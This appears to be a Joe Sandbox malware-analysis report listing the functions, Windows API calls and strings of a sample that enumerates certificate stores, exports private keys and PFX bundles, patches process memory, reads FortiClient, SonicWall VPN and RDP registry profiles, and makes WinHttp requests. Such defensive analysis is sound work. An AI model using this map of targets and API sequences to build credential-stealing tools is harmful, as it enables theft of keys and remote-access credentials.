Instruction ID: 96836389c7bdf5ae4d86b112430b2b89b417f8ce70d1a51683ec38c9a86ad2f9
Opcode Fuzzy Hash: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
Instruction Fuzzy Hash: 7A118873A28640CBF3109F61E8593AE7774F34870DFA08218EA492A998CF3DD255CB94

Function 00007FF7CB879AC8 Relevance: 4.4, Strings: 3, Instructions: 665
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#qGq, xrefs: 00007FF7CB879B17
<9#$, xrefs: 00007FF7CB87A3D5
$q*q, xrefs: 00007FF7CB879B10

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID:
String ID: #qGq$$q*q$<9#$
API String ID: 0-163940422
Opcode ID: 52f61a20b0194fcb18550ca330a575ad691ed636dab6f24800a5f7c021c40964
Instruction ID: c20b7466cde168e6e8a613a8097b55299a4db59e08bc1e81f34c58533671ac1b
Opcode Fuzzy Hash: 52f61a20b0194fcb18550ca330a575ad691ed636dab6f24800a5f7c021c40964
Instruction Fuzzy Hash: 8A4280A1B482A14AEB00FFA984052FDA7E29B457DCB941035FE4D3BB5ADF3C9155C3A0

Function 00007FF7CB872654 Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,?,00007FF7CB871951,?,?,00000000,00007FF7CB8719BA), ref: 00007FF7CB872669
RtlReAllocateHeap.NTDLL(?,?,?,00007FF7CB871951,?,?,00000000,00007FF7CB8719BA), ref: 00007FF7CB87267A

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: be938404752c85019b6f44b0f5e5ed4010620d834be4c87ef3aa5fcdd3d15046
Instruction ID: 4bb0bebbb0910e14ce13e639b7da914db1b82d98f56d16e52a13795bcc2ef2e9
Opcode Fuzzy Hash: be938404752c85019b6f44b0f5e5ed4010620d834be4c87ef3aa5fcdd3d15046
Instruction Fuzzy Hash: CBE08615B0859282E948FF9AB990075A1A1AF49FE4F889130FD0E17765DE2CD4A14790

Function 00007FF7CB872D5C Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 253
encryptiontimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7CB872D90
CertGetNameStringW.CRYPT32 ref: 00007FF7CB872DD3
CertNameToStrW.CRYPT32 ref: 00007FF7CB872EB8
CertNameToStrW.CRYPT32 ref: 00007FF7CB872F0A
FileTimeToSystemTime.KERNEL32 ref: 00007FF7CB872F4B
FileTimeToSystemTime.KERNEL32 ref: 00007FF7CB872FC1

Part of subcall function 00007FF7CB871A70: wvsprintfW.USER32 ref: 00007FF7CB871AA9

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7CB873178

Part of subcall function 00007FF7CB873220: CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB87325E
Part of subcall function 00007FF7CB873220: CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF7CB87328D
Part of subcall function 00007FF7CB873220: CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB8732BB
Part of subcall function 00007FF7CB873220: LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB873336
Part of subcall function 00007FF7CB873220: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB873380
Part of subcall function 00007FF7CB873220: VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CB8733AC

Strings

1.2.840.113549, xrefs: 00007FF7CB87305F, 00007FF7CB87306F

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Cert$Time$Name$CertificateCertificatesCryptEnumFileHeapStoreSystem$AcquireAddressContextFreeLibraryLoadPrivateProcProcessPropertyProtectStringUserVirtualwvsprintf
String ID: 1.2.840.113549
API String ID: 2787208766-3888290641
Opcode ID: 8b73c42670ea8246c3f00f00a15c13dc80e28ec0ccd241d0236bafc5b6063659
Instruction ID: 8968d99f913e4fdfe2ada4c91b7664842ea367aeb879ab0ae441f578c23445af
Opcode Fuzzy Hash: 8b73c42670ea8246c3f00f00a15c13dc80e28ec0ccd241d0236bafc5b6063659
Instruction Fuzzy Hash: 07B18262A0865285EB50FF5AD4412BEE7A1FB85BD8F800031FA8D17B69DF3CD155CB90

Function 00007FF7CB87900C Relevance: 13.6, APIs: 9, Instructions: 137
pipeprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE ref: 00007FF7CB87905F
GetLastError.KERNEL32 ref: 00007FF7CB87907D
CreatePipe.KERNELBASE ref: 00007FF7CB8790B7
GetLastError.KERNEL32 ref: 00007FF7CB8790D5
CreatePipe.KERNELBASE ref: 00007FF7CB8790FC
GetLastError.KERNEL32 ref: 00007FF7CB87911A
CreateProcessW.KERNELBASE ref: 00007FF7CB8791B7
GetLastError.KERNEL32 ref: 00007FF7CB8791DF
CloseHandle.KERNEL32 ref: 00007FF7CB8791F9

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: CreateErrorLast$Pipe$CloseHandleProcess
String ID:
API String ID: 2620922840-0
Opcode ID: e7471855f41c6a413a1e0a14d76814eaea720c7982075b5bda5c61cbaa643e0a
Instruction ID: 0e11febab4314407afc030a4c56ceab004938f65c608a28e342dc09d0a9687ba
Opcode Fuzzy Hash: e7471855f41c6a413a1e0a14d76814eaea720c7982075b5bda5c61cbaa643e0a
Instruction Fuzzy Hash: 1C514F32B18A1296EB50FF69D4847EC63E1AB587ACF810035FE0D6AA65DF3CD159C390

Function 00007FF7CB872BAC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertOpenStore.CRYPT32 ref: 00007FF7CB872C16
CertCloseStore.CRYPT32 ref: 00007FF7CB872CC2

Part of subcall function 00007FF7CB872D5C: CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7CB872D90
Part of subcall function 00007FF7CB872D5C: CertGetNameStringW.CRYPT32 ref: 00007FF7CB872DD3
Part of subcall function 00007FF7CB872D5C: CertNameToStrW.CRYPT32 ref: 00007FF7CB872EB8
Part of subcall function 00007FF7CB872D5C: CertNameToStrW.CRYPT32 ref: 00007FF7CB872F0A

Strings

yqyq, xrefs: 00007FF7CB872C5E
)qnq, xrefs: 00007FF7CB872C88
dqyq, xrefs: 00007FF7CB872C6B

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Cert$NameStore$CertificatesCloseEnumOpenString
String ID: )qnq$dqyq$yqyq
API String ID: 3617724111-466822987
Opcode ID: 9ae85fb58035b556ed7740a638f834076978180fa08e68d9f74bd72b5be20427
Instruction ID: a104a24208e40ed4624f4d7eede31f379a4f78b9d9ec1c3a864355805ecf6643
Opcode Fuzzy Hash: 9ae85fb58035b556ed7740a638f834076978180fa08e68d9f74bd72b5be20427
Instruction Fuzzy Hash: 4821C772A1869282EB50FF1AE8403AAF3A1FBC4794F845031FA8D57769DF3CD4558B90

Function 00007FF7CB872B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStore.CRYPT32 ref: 00007FF7CB872B7F

Strings

"_":"", xrefs: 00007FF7CB872B5C
":{, xrefs: 00007FF7CB872B4D

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: CertEnumStoreSystem
String ID: ":{$"_":""
API String ID: 4132996702-2026347918
Opcode ID: bde7b9d95764b4a748e3e44d944acbe1370a7a94fc7036fd8cfb648fe9c63810
Instruction ID: 3c15beb3f8f56db79b6c0d9383330d9d5e11f77da701c96c77b1b28a4b3ebbba
Opcode Fuzzy Hash: bde7b9d95764b4a748e3e44d944acbe1370a7a94fc7036fd8cfb648fe9c63810
Instruction Fuzzy Hash: 8301A711E4866142FA44FF1AA4002B993D5AF98BE4FC85031FD1D17B7A8F2CD1A38390

Function 00007FF7CB8731C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStoreLocation.CRYPT32 ref: 00007FF7CB873200

Strings

"_": "", xrefs: 00007FF7CB8731E2

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: CertEnumLocationStoreSystem
String ID: "_": ""
API String ID: 863500693-1453221996
Opcode ID: 6b21618263e360399a06e9a6e29e51c669755cc20520e873ad7292844cdbbc9a
Instruction ID: 1131989edacf9d4f681483825ceba0e28997f4b6ec6d0441fc173a5e4121752a
Opcode Fuzzy Hash: 6b21618263e360399a06e9a6e29e51c669755cc20520e873ad7292844cdbbc9a
Instruction Fuzzy Hash: 8AE06541B9851341EE84BF6AA8112F493955F997E4FC82031F81E16376DF2CD0E683A0

Function 00007FF7CB87968C Relevance: 3.0, APIs: 2, Instructions: 42
filepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekNamedPipe.KERNELBASE ref: 00007FF7CB8796B8
ReadFile.KERNELBASE ref: 00007FF7CB8796F7

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: FileNamedPeekPipeRead
String ID:
API String ID: 327342812-0
Opcode ID: 096132fb93717013b3e16f88d7bf0609256235cc15a0420f845206ceb18e82a6
Instruction ID: 3b0d50f197b92fa516dab725f68e57cab916617572d8f3c53cd115195f230a71
Opcode Fuzzy Hash: 096132fb93717013b3e16f88d7bf0609256235cc15a0420f845206ceb18e82a6
Instruction Fuzzy Hash: 5D01AD2271825283EB10EF1AE44577AE3E0EB85BE8F944134FA488B664DF7CD4908B90

Function 00007FF7CB8795A0 Relevance: 3.0, APIs: 2, Instructions: 39
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,?,00007147,00007FF7CB879B7A), ref: 00007FF7CB8795B6
GetExitCodeProcess.KERNELBASE ref: 00007FF7CB8795F6

Part of subcall function 00007FF7CB87968C: PeekNamedPipe.KERNELBASE ref: 00007FF7CB8796B8

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: CodeExitNamedObjectPeekPipeProcessSingleWait
String ID:
API String ID: 2021502500-0
Opcode ID: 219911f9fbf93e8dc81b8ab5b15ed7b90f6e7e4d0e94d35a3e310abd07cbe8cc
Instruction ID: a7600a9eef83b2c1ff4ee82f58692b9f8c2460dbd80e9ee6a0c7e24981c2ab2a
Opcode Fuzzy Hash: 219911f9fbf93e8dc81b8ab5b15ed7b90f6e7e4d0e94d35a3e310abd07cbe8cc
Instruction Fuzzy Hash: D8018421A0865292EF50EF29D48077853D1EF44B9CF945231F90D565A9EF2DDCE5C390

Function 00007FF7CB871A70 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wvsprintfW.USER32 ref: 00007FF7CB871AA9

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: wvsprintf
String ID:
API String ID: 2795597889-0
Opcode ID: 1ee19605ac26c83bc426fe2672bc05ad22fbb01a022c874d8b8b7949f4abed9f
Instruction ID: b9d6df6b6ddbee4c94f17f7a5e20e680707219e710edbf381c98a30939e46ea5
Opcode Fuzzy Hash: 1ee19605ac26c83bc426fe2672bc05ad22fbb01a022c874d8b8b7949f4abed9f
Instruction Fuzzy Hash: 44E039B2A40B45C2D704AF19E94008CBBB5EB99FD8B948021DB481B325CF38D9A6C7A0

Function 00007FF7CB8779C4 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00007FF7CB8774DE), ref: 00007FF7CB8779CD

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction ID: d95de6f083f6698a88afea1591ab43be7ce0859bf3b6ab9646dc960674082255
Opcode Fuzzy Hash: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction Fuzzy Hash: 6CD05E07C0849282DE31BF089406136A2E1BB6471CFC00231F18D024B06FADD6F9DAA5

Non-executed Functions

Function 00007FF7CB87DC08 Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 436filestringCOMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI ref: 00007FF7CB87DD8A
PathFileExistsW.SHLWAPI ref: 00007FF7CB87DD94
PathQuoteSpacesW.SHLWAPI ref: 00007FF7CB87DDA6
lstrcatW.KERNEL32 ref: 00007FF7CB87DDBF
GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CB87DF4C
PathAppendW.SHLWAPI ref: 00007FF7CB87DF7B
PathFileExistsW.SHLWAPI ref: 00007FF7CB87DF88
CreateFileW.KERNEL32 ref: 00007FF7CB87DFB8
GetFileSize.KERNEL32 ref: 00007FF7CB87DFD0
ReadFile.KERNEL32 ref: 00007FF7CB87DFF8

Part of subcall function 00007FF7CB87CF1C: lstrlenA.KERNEL32 ref: 00007FF7CB87CF2F

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7CB87E275
PathAppendW.SHLWAPI ref: 00007FF7CB87E29E
PathFileExistsW.SHLWAPI ref: 00007FF7CB87E2AB
CreateFileW.KERNEL32 ref: 00007FF7CB87E2DB
GetFileSize.KERNEL32 ref: 00007FF7CB87E2F3

Part of subcall function 00007FF7CB872588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF7CB87CD49), ref: 00007FF7CB872595

ReadFile.KERNEL32 ref: 00007FF7CB87E31F

Strings

<DefaultUser>, xrefs: 00007FF7CB87E029
", "group": ", xrefs: 00007FF7CB87E138
}},, xrefs: 00007FF7CB87E1E3
]},, xrefs: 00007FF7CB87E233
</DefaultGroup>, xrefs: 00007FF7CB87E17D
Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF7CB87DEDF
", "host": ", xrefs: 00007FF7CB87E0A4
"user": ", xrefs: 00007FF7CB87E01A
Software\Microsoft\Terminal Server Client\Servers, xrefs: 00007FF7CB87E213
<DefaultHostName>, xrefs: 00007FF7CB87E0C2
</DefaultHostName>, xrefs: 00007FF7CB87E0E9
Software\SonicWall\SSL-VPN NetExtender\Standalone, xrefs: 00007FF7CB87DD59
<DefaultGroup>, xrefs: 00007FF7CB87E156
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF7CB87DCBA
</DefaultUser>, xrefs: 00007FF7CB87E055

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: File$Path$ExistsHeap$AppendCreateEnvironmentProcessReadSizeVariable$CombineFreeQuoteSpaceslstrcatlstrlen
String ID: ", "group": "$", "host": "$"user": "$</DefaultGroup>$</DefaultHostName>$</DefaultUser>$<DefaultGroup>$<DefaultHostName>$<DefaultUser>$Software\Fortinet\FortiClient\Sslvpn\Tunnels$Software\Microsoft\Terminal Server Client\Servers$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles$Software\SonicWall\SSL-VPN NetExtender\Standalone$]},$}},
API String ID: 2508640211-1951492331
Opcode ID: 948f672f832970001278ee64c14b3cd2eb97a0324b026afad294e905e837156c
Instruction ID: b4e215a2b1fa154bf9862ce397a5f5bbed197ee74c3442f0997fdc46d4d42a8c
Opcode Fuzzy Hash: 948f672f832970001278ee64c14b3cd2eb97a0324b026afad294e905e837156c
Instruction Fuzzy Hash: 4F12E361A1866241EA50FF29D4503FDA3E1AF857E8FC04031FA0D1BABADF2DD165C3A0

Function 00007FF7CB873220 Relevance: 52.8, APIs: 25, Strings: 5, Instructions: 313encryptionmemorylibraryCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB87325E
CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF7CB87328D
CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB8732BB

Part of subcall function 00007FF7CB8736F0: CryptExportKey.ADVAPI32 ref: 00007FF7CB873744
Part of subcall function 00007FF7CB8736F0: CryptExportKey.ADVAPI32 ref: 00007FF7CB87379E

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB873336
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB873380
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CB8733AC
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CB8733DC
CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CB873404
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CB87341C
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CB87343F
CryptAcquireContextA.ADVAPI32 ref: 00007FF7CB873459
CryptImportKey.ADVAPI32 ref: 00007FF7CB87347E
OpenSCManagerA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB8734B5
OpenServiceA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB873505
QueryServiceStatusEx.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB873523
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB873532
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB87355D
ReadProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CB872C48), ref: 00007FF7CB87357C
WriteProcessMemory.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7CB87359F
NCryptExportKey.NCRYPT ref: 00007FF7CB873605
CertOpenStore.CRYPT32 ref: 00007FF7CB873667
CertAddCertificateLinkToStore.CRYPT32 ref: 00007FF7CB873682
CertSetCertificateContextProperty.CRYPT32 ref: 00007FF7CB87369E
PFXExportCertStoreEx.CRYPT32 ref: 00007FF7CB8736BD
PFXExportCertStoreEx.CRYPT32 ref: 00007FF7CB8736DF

Strings

Microsoft Software Key Storage Provider, xrefs: 00007FF7CB87360D
CAPIPRIVATEBLOB, xrefs: 00007FF7CB8735AF, 00007FF7CB8735DE, 00007FF7CB873622
/.2x, xrefs: 00007FF7CB8732FB
ioyn, xrefs: 00007FF7CB8732F2
7+D, xrefs: 00007FF7CB8734C7

Memory Dump Source

Source File: 00000008.00000002.4537706234.00007FF7CB871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CB870000, based on PE: true

Associated: 00000008.00000002.4537651105.00007FF7CB870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537750976.00007FF7CB881000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537787827.00007FF7CB884000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.4537827092.00007FF7CB885000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7cb870000_B575.jbxd

Similarity

API ID: Crypt$CertExport$CertificateOpenProcessProtectStoreVirtual$ContextMemory$AcquirePropertyReadService$AddressImportLibraryLinkLoadManagerPrivateProcQueryStatusUserWrite
String ID: /.2x$7+D$CAPIPRIVATEBLOB$Microsoft Software Key Storage Provider$ioyn
API String ID: 2161712720-1498425709
Opcode ID: a25e5b017786837144a5a0b04777f20777e85b9858ce6eb30a9eb0907d864ba2
Instruction ID: ca13be3653af024a19c85dea3222ef3f8b3d22f570f636c14ed9ce9937ebb881
Opcode Fuzzy Hash: a25e5b017786837144a5a0b04777f20777e85b9858ce6eb30a9eb0907d864ba2
Instruction Fuzzy Hash: 10E16C32B046518BE710EFA5E8447EEB3A1BB48798F804136EE4D27A68DF3CD159C790

Function 00007FF7CB87213C Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP ref: 00007FF7CB87218D

Part of subcall function 00007FF7CB8725B4: GetProcessHeap.KERNEL32 ref: 00007FF7CB8725C1
Part of subcall function 00007FF7CB8725B4: HeapFree.KERNEL32 ref: 00007FF7CB8725CF

WinHttpCrackUrl.WINHTTP ref: 00007FF7CB8721D8
WinHttpConnect.WINHTTP ref: 00007FF7CB872213
WinHttpOpenRequest.WINHTTP ref: 00007FF7CB8722A8
WinHttpQueryOption.WINHTTP ref: 00007FF7CB8722E0
WinHttpSetOption.WINHTTP ref: 00007FF7CB8722FC
